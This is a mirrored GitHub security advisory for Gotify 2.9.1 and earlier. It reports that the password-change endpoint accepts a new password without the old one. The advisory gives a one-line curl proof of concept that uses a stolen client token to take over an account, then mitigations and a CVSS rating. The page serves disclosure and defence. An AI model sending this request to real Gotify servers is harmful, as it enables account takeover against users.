Gotify: Insufficiently Protected Password Change endpoint
Exact source revision recorded 24 Oct 2026 13:19:41 UTC. It does not establish the source's current position. Latest evidence.
osv · GHSA-3hcj-9m7p-wwm9
PublishedThe password change endpoint (`POST /current/user/password`) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access. ## PoC ```bash # Attacker has obtained a client token # No prior password knowledge required STOLEN_TOKEN="Cxxxxxxxxxx" curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \ -H "Content-Type: application/json" \ -d '{"pass":"attacker_controls_this"}' # Expected response: # HTTP/1.1 200 OK ``` ## Mitigation - Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or - Restrict access to the state-changing endpoints under `/user` and `/current/user` to trusted networks.
- Source published
- 15 Oct 2026 20:15:38 UTC
- Source modified
- 19 Oct 2026 21:41:12 UTC
- Observed here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.
CVSS_V4 · CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Publisher rating · MODERATE